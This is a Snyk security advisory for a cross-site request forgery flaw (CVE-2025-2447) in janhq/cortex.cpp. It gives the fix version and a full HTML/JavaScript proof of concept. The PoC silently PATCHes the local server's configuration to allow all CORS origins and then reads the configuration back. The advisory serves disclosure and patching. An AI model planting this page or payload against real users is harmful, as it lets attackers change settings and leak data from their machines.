Cross-site Request Forgery (CSRF) Affecting janhq/cortex.cpp package, versions [,1.0.11-rc3)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-JANHQCORTEXCPP-9460794
  • published18 Mar 2025
  • disclosed17 Mar 2025
  • creditRaul Onitza-Klugman (Snyk Security Research)

Introduced: 17 Mar 2025

NewCVE-2025-2447  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade janhq/cortex.cpp to version 1.0.11-rc3 or higher.

Overview

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to missing protection on all non-GET HTTP request handling endpoints. As a result, an attacker can perform various actions on behalf of the user including changing the server’s configuration, running arbitrary models, leaking sensitive data, and taking over the host machine.

PoC

<html>
   <head>
       <h1>
           Cortex.cpp conf leak3r!
       </h1>
       <meta charset="UTF-8">
       <meta charset="UTF-8">
       <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>Cortex.cpp Conf</title>
       <style>
           body { font-family: Arial, sans-serif; padding: 20px; }
           pre { background: #f4f4f4; padding: 10px; border-radius: 5px; }
       </style>
   </head>
   <body>
       <a href="#" id="pwn">PWN me!</a>
       <div id="data-container"></div>


       <script>
           async function getConf(){
               let conf = {};
               try {
                   res = await fetch("http://127.0.0.1:39281/v1/configs", {
                       mode:"cors",
                       headers: {
                           "Content-Type": "application/json"
                       }
                   });
                   conf = await res.json();
               } catch(error) {
                   console.log(`GET /v1/configs blocked by CORS: ${error}`);
               }


               return conf;
           }


           ( async () => {
               let conf = await getConf();
               const container = document.getElementById("data-container");
               const div = document.createElement("div");
               div.className = "item";
               div.innerHTML = `<h2>Conf before CORS disabled:</h2><pre id="conf-before">${JSON.stringify(conf, null, 4)}</pre>`;
               container.appendChild(div);
           })();


           document.getElementById("pwn").addEventListener("click", function(event) {
               event.preventDefault();


               async function leakConf(){
                   // Disable CORS.
                   try {
                       await fetch("http://127.0.0.1:39281/v1/configs", {
                           method: "PATCH",
                           headers: {"Content-Type": "application/json"},
                           body: JSON.stringify({
                               "cors": true,
                               "allowed_origins": ["*"]
                           })
                       });
                   } catch (error){
                       console.log(`CORS error triggered but that's fine - conf changed!`);
                   }


                   // Read conf after.
                   let conf = await getConf();
                   const container = document.getElementById("data-container");
                   const div = document.createElement("div");
                   div.className = "item";
                   div.innerHTML = `<h2>Conf AFTER CORS disabled:</h2><pre id="conf-after">${JSON.stringify(conf, null, 4)}</pre>`;
                   container.appendChild(div);
               }


               ( async () => {
                   await leakConf();
               })();
           });
       </script>
   </body>
</html>

CVSS Base Scores

version 4.0
version 3.1